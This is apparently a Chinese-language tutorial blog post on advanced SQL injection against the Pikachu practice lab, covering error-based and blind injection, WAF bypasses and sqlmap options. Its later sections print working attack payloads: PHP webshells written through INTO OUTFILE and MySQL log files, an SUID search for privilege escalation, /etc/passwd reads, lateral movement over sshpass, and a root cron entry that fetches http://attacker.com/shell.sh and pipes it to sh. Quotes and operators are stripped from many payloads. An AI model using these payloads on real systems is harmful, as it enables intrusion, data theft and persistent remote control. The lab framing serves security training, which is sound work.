别光会查库了!用Pikachu靶场深入理解SQL注入的‘花式’利用:从报错注入到OS远程控制

张开发
2026/4/6 7:36:58 15 分钟阅读

分享文章

别光会查库了!用Pikachu靶场深入理解SQL注入的‘花式’利用:从报错注入到OS远程控制
从Pikachu靶场看SQL注入的七种武器突破常规查询的实战指南当你在Pikachu靶场轻松完成union select查询时是否思考过SQL注入的真正威力远不止于此那些隐藏在注册表单、HTTP头部甚至删除操作中的注入点往往能带来更致命的杀伤力。本文将带你超越基础查询探索SQL注入的七种高阶利用方式从报错注入到系统级控制全面剖析攻击者如何将看似孤立的漏洞串联成完整攻击链。1. 非常规注入点的发现与利用大多数安全测试人员习惯在明显的查询参数中寻找注入点但真正的威胁往往藏在不起眼的角落。在Pikachu靶场中以下几个场景常被忽视用户注册功能当应用将注册信息直接拼接到INSERT语句时-- 典型漏洞代码示例 INSERT INTO users(username,password) VALUES($username,$password)尝试在用户名字段注入admin--这将导致后续密码验证被注释直接以admin身份登录留言板删除操作DELETE语句中的注入常被忽略GET /delete_comment?id1OR11 HTTP/1.1这种注入可能一次性清空整个数据表HTTP头部注入检查这些常被忽视的注入点User-AgentX-Forwarded-ForCookie值Referer提示现代WAF通常只检测GET/POST参数对HTTP头部的过滤较弱2. 报错注入的进阶技巧当union查询不可用时报错注入成为获取数据的利器。Pikachu靶场演示了三种经典方式2.1 updatexml报错注入 AND updatexml(1,concat(0x7e,(SELECT version)),1)#关键点0x7e(~)作为分隔符防止数据截断嵌套子查询获取系统信息报错信息中提取数据2.2 extractvalue报错注入 AND extractvalue(1,concat(0x7e,(SELECT user())))#与updatexml原理相似但适用于不同过滤场景2.3 floor报错注入 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)#适用场景当updatexml/extractvalue被禁用时需要完整数据返回不截断方法数据长度限制需要权限触发条件updatexml32字符普通用户XPath格式错误extractvalue32字符普通用户XPath格式错误floor无普通用户主键冲突3. 盲注实战当没有回显时Pikachu的盲注关卡展示了两种典型场景3.1 布尔盲注通过页面响应差异判断条件真伪 AND ascii(substr(database(),1,1))100#自动化技巧使用二分法快速定位字符结合Burp Intruder的Cluster bomb模式爆破3.2 时间盲注当布尔条件也无法区分时引入时间延迟 AND IF(ascii(substr(database(),1,1))115,sleep(3),1)#优化方案多条件并行检测减少请求次数设置基准响应时间排除网络波动影响4. 从数据库到操作系统攻击链构建Pikachu最危险的关卡展示了如何通过SQL注入获取系统权限4.1 写webshell前提条件SHOW VARIABLES LIKE secure_file_priv;必须返回空值或可写目录4.2 多种写文件方式-- PHP webshell SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/html/shell.php -- 日志文件注入 SET global general_log_file/var/www/html/shell.php; SET global general_logon; SELECT ?php system($_GET[cmd]);? -- 慢查询日志注入 SET global slow_query_log_file/var/www/html/shell.php; SET global slow_query_logon; SELECT ?php system($_GET[cmd]);? FROM SLEEP(11)4.3 提权技术路线通过webshell执行whoami确认权限查找SUID程序find / -perm -4000 2/dev/null利用系统漏洞或配置错误提权5. 防御绕过实战技巧面对现代WAFPikachu靶场中的这些方法仍然有效注释符变形/*!50400SELECT*/ 1字符串拼接CONCAT(sel,ect)十六进制编码0x53454C4543542031空白字符滥用S%E%L%E%C%T16. 自动化工具的高级用法sqlmap在Pikachu环境中的特殊参数sqlmap -u http://target.com/vul.php?id1 --techniqueBEUST --level5 --risk3 --tamperspace2comment关键参数组合--os-shell尝试获取系统shell--file-write/local/path --file-dest/remote/path上传文件--reg-read读取Windows注册表7. 从注入点到持久化完整攻击演练在Pikachu环境中模拟APT攻击流程信息收集 AND (SELECT load_file(/etc/passwd))#横向移动 AND (SELECT sys_exec(sshpass -p password ssh userinternal_host))#权限维持 AND (SELECT sys_eval(echo */5 * * * * curl http://attacker.com/shell.sh | sh /var/spool/cron/root))#在真实环境中这种从SQL注入到系统完全沦陷的攻击链平均只需17分钟。Pikachu靶场价值在于它让我们在安全环境中亲历攻击者视角才能真正理解防御的每个环节为何如此设计。

更多文章